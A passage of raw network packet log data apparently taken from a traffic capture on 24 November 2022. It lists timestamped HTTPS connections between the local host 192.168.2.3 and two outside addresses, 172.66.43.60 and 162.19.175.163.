Nov 24, 2022 16:58:54.862018108 CET	49894	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:54.868282080 CET	49894	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:54.868345022 CET	443	49894	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:54.872899055 CET	49895	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:54.872961044 CET	443	49895	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:54.873148918 CET	49895	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:54.874068022 CET	49895	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:54.874094963 CET	443	49895	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:54.874177933 CET	443	49895	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:54.880197048 CET	49894	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:54.880237103 CET	443	49894	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.023456097 CET	443	49894	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.023559093 CET	49894	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.023593903 CET	443	49894	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.023624897 CET	443	49894	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.023775101 CET	49894	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.024003029 CET	49894	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.024035931 CET	443	49894	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.087107897 CET	49896	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:55.087173939 CET	443	49896	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:55.087266922 CET	49896	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:55.087661982 CET	49896	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:55.087701082 CET	443	49896	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:55.087749958 CET	443	49896	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:55.178642035 CET	49897	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.178704977 CET	443	49897	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.179014921 CET	49897	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.179579973 CET	49897	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.179611921 CET	443	49897	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.235297918 CET	443	49897	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.236042023 CET	49897	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.236474037 CET	49897	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.236499071 CET	443	49897	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.247467041 CET	49897	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.247487068 CET	443	49897	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.288304090 CET	49898	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:55.288358927 CET	443	49898	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:55.288444996 CET	49898	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:55.288820982 CET	49898	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:55.288846970 CET	443	49898	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:55.288953066 CET	443	49898	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:55.364732981 CET	443	49897	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.364806890 CET	49897	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.364835024 CET	443	49897	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.364888906 CET	49897	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.365461111 CET	49897	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.365528107 CET	443	49897	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.365828991 CET	443	49897	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.365854025 CET	49897	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.366192102 CET	49897	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.411919117 CET	49899	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:55.411988974 CET	443	49899	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:55.412075996 CET	49899	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:55.412461996 CET	49899	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:55.412492990 CET	443	49899	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:55.413053989 CET	443	49899	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:55.486915112 CET	49900	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.486979961 CET	443	49900	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.487124920 CET	49900	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.489846945 CET	49900	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.489872932 CET	443	49900	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.536216021 CET	49901	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:55.536313057 CET	443	49901	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:55.536632061 CET	49901	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:55.545326948 CET	49901	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:55.545360088 CET	443	49901	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:55.545454025 CET	443	49901	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:55.547071934 CET	443	49900	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.547183037 CET	49900	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.560856104 CET	49900	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.560904026 CET	443	49900	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.561439037 CET	443	49900	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.561518908 CET	49900	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.562310934 CET	49900	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.562326908 CET	443	49900	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.664150953 CET	443	49900	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.664251089 CET	49900	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.664288044 CET	443	49900	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.664355993 CET	49900	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.664391994 CET	443	49900	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.664452076 CET	49900	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.664521933 CET	443	49900	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.664602995 CET	49900	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.667148113 CET	49900	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.667186975 CET	443	49900	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.775751114 CET	49902	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:55.775826931 CET	443	49902	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:55.775955915 CET	49902	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:55.776351929 CET	49902	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:55.776386976 CET	443	49902	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:55.776535988 CET	443	49902	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:55.777033091 CET	49903	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.777107954 CET	443	49903	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.777210951 CET	49903	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.779680967 CET	49903	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.779714108 CET	443	49903	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.829813004 CET	443	49903	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.829936028 CET	49903	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.851301908 CET	49903	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.851349115 CET	443	49903	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.857676029 CET	49903	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.857718945 CET	443	49903	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.939860106 CET	443	49903	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.940031052 CET	443	49903	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:55.940140963 CET	49903	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.940665960 CET	49903	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:55.940701962 CET	443	49903	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:56.582334995 CET	49904	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:56.582385063 CET	443	49904	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:56.582472086 CET	49904	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:56.601829052 CET	49904	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:56.601865053 CET	443	49904	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:56.602076054 CET	443	49904	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:56.831087112 CET	49906	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:56.831156015 CET	443	49906	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:56.831255913 CET	49906	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:56.831682920 CET	49906	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:56.831710100 CET	443	49906	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:56.831806898 CET	443	49906	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:56.842118979 CET	49905	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:56.842186928 CET	443	49905	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:56.842279911 CET	49905	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:56.843069077 CET	49905	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:56.843106985 CET	443	49905	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:56.896606922 CET	443	49905	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:56.896718025 CET	49905	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:56.938091993 CET	49905	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:56.938128948 CET	443	49905	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:56.942310095 CET	49905	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:56.942333937 CET	443	49905	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:57.012095928 CET	443	49905	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:57.012280941 CET	49905	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:57.012319088 CET	443	49905	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:57.014720917 CET	49905	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:57.017406940 CET	49905	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:57.017530918 CET	443	49905	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:57.017704010 CET	49905	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:57.631743908 CET	49907	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:57.631863117 CET	443	49907	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:57.632190943 CET	49907	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:57.636275053 CET	49907	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:57.636343002 CET	443	49907	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:57.636436939 CET	443	49907	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:57.745862007 CET	49908	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:57.745917082 CET	443	49908	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:57.745997906 CET	49908	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:57.748584032 CET	49908	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:57.748621941 CET	443	49908	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:57.803160906 CET	443	49908	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:57.803338051 CET	49908	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:57.819190025 CET	49908	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:57.819221020 CET	443	49908	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:57.819488049 CET	49909	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:57.819571018 CET	443	49909	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:57.819658041 CET	49909	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:57.819786072 CET	443	49908	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:57.819866896 CET	49908	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:57.820066929 CET	49909	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:57.820103884 CET	443	49909	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:57.820175886 CET	443	49909	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:57.820563078 CET	49908	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:57.820574999 CET	443	49908	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:57.903645039 CET	443	49908	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:57.903764009 CET	443	49908	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:57.903825045 CET	49908	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:57.903825045 CET	49908	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:57.923317909 CET	49908	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:57.923362970 CET	443	49908	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:58.543687105 CET	49910	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:58.543740034 CET	443	49910	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:58.543819904 CET	49910	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:58.544281006 CET	49910	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:58.544313908 CET	443	49910	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:58.544428110 CET	443	49910	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:58.694967985 CET	49911	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:58.695036888 CET	443	49911	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:58.695136070 CET	49911	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:58.700901985 CET	49911	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:58.700968027 CET	443	49911	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:58.736417055 CET	49912	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:58.736489058 CET	443	49912	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:58.736565113 CET	49912	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:58.736948013 CET	49912	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:58.736982107 CET	443	49912	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:58.737039089 CET	443	49912	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:58.755775928 CET	443	49911	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:58.758534908 CET	49911	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:58.799065113 CET	49911	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:58.799118042 CET	443	49911	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:58.806008101 CET	49911	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:58.806030989 CET	443	49911	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:58.864382029 CET	443	49911	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:58.864557028 CET	443	49911	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:58.864593983 CET	49911	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:58.864892960 CET	49911	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:58.913121939 CET	49913	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:58.913250923 CET	443	49913	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:58.913355112 CET	49913	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:58.913784027 CET	49913	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:58.913816929 CET	443	49913	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:58.913961887 CET	443	49913	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:58.934279919 CET	49911	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:58.934322119 CET	443	49911	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:02.150444031 CET	49914	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:02.150511026 CET	443	49914	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:02.150599957 CET	49914	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:02.151537895 CET	49914	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:02.151576042 CET	443	49914	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:02.151632071 CET	443	49914	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:02.261585951 CET	49915	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:02.261667013 CET	443	49915	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:02.261795044 CET	49915	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:02.262387991 CET	49915	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:02.262422085 CET	443	49915	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:02.316159964 CET	443	49915	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:02.316308975 CET	49915	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:02.318536997 CET	49915	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:02.318578005 CET	443	49915	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:02.325520992 CET	49915	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:02.325562000 CET	443	49915	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:02.357566118 CET	49916	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:02.357650042 CET	443	49916	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:02.357734919 CET	49916	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:02.358079910 CET	49916	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:02.358112097 CET	443	49916	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:02.358268023 CET	443	49916	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:02.447020054 CET	443	49915	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:02.447123051 CET	49915	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:02.447175980 CET	443	49915	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:02.447251081 CET	49915	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:02.463021040 CET	49915	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:02.463229895 CET	443	49915	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:02.463311911 CET	49915	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:03.210828066 CET	49917	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:03.210872889 CET	443	49917	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:03.211371899 CET	49917	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:03.211708069 CET	49917	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:03.211724043 CET	443	49917	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:03.211802959 CET	443	49917	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:03.231908083 CET	49918	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:03.231952906 CET	443	49918	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:03.232026100 CET	49918	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:03.232994080 CET	49918	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:03.233011961 CET	443	49918	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:03.290795088 CET	443	49918	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:03.290935993 CET	49918	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:03.317197084 CET	49918	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:03.317224979 CET	443	49918	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:03.317960024 CET	443	49918	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:03.318084955 CET	49918	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:03.324270010 CET	49918	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:03.324282885 CET	443	49918	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:03.398767948 CET	443	49918	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:03.398996115 CET	443	49918	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:03.399034977 CET	49918	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:03.399075985 CET	49918	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:03.407694101 CET	49918	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:03.407732010 CET	443	49918	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.017355919 CET	49919	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:04.017446041 CET	443	49919	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:04.017574072 CET	49919	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:04.018002987 CET	49919	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:04.018059969 CET	443	49919	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:04.018145084 CET	443	49919	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:04.157243013 CET	49920	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.157378912 CET	443	49920	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.157864094 CET	49920	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.163732052 CET	49920	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.163790941 CET	443	49920	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.214078903 CET	443	49920	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.214534998 CET	49920	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.214852095 CET	49920	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.214862108 CET	443	49920	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.218126059 CET	49920	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.218142986 CET	443	49920	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.271270990 CET	49921	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:04.271328926 CET	443	49921	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:04.271502018 CET	49921	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:04.271663904 CET	49921	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:04.271683931 CET	443	49921	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:04.271835089 CET	443	49921	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:04.344583988 CET	443	49920	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.346438885 CET	49920	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.346460104 CET	443	49920	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.346643925 CET	49920	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.347949982 CET	49920	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.348056078 CET	443	49920	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.348186970 CET	49920	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.458919048 CET	49922	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:04.458960056 CET	443	49922	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:04.460174084 CET	49922	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:04.460367918 CET	49922	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:04.460380077 CET	443	49922	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:04.460474014 CET	443	49922	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:04.470937967 CET	49923	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.471025944 CET	443	49923	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.471160889 CET	49923	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.473807096 CET	49923	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.473848104 CET	443	49923	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.541264057 CET	443	49923	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.541367054 CET	49923	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.564369917 CET	49923	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.564413071 CET	443	49923	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.565124989 CET	443	49923	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.565210104 CET	49923	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.565741062 CET	49923	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.565757990 CET	443	49923	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.658214092 CET	443	49923	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.658314943 CET	49923	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.658365965 CET	443	49923	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.658397913 CET	443	49923	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.658472061 CET	49923	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.658571959 CET	49923	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.658603907 CET	443	49923	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.680890083 CET	49924	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:04.680963993 CET	443	49924	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:04.681159019 CET	49924	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:04.681401014 CET	49924	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:04.681436062 CET	443	49924	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:04.681489944 CET	443	49924	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:04.782159090 CET	49925	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.782196999 CET	443	49925	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.782289028 CET	49925	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.784719944 CET	49925	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.784738064 CET	443	49925	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.829607010 CET	443	49925	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.829729080 CET	49925	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.830183983 CET	49925	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.830198050 CET	443	49925	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.832791090 CET	49925	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.832809925 CET	443	49925	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.889280081 CET	49926	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:04.889354944 CET	443	49926	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:04.889477968 CET	49926	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:04.889607906 CET	49926	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:04.889630079 CET	443	49926	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:04.890002012 CET	443	49926	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:04.954272032 CET	443	49925	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.954440117 CET	443	49925	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:04.954570055 CET	49925	443	192.168.2.3	172.66.43.60
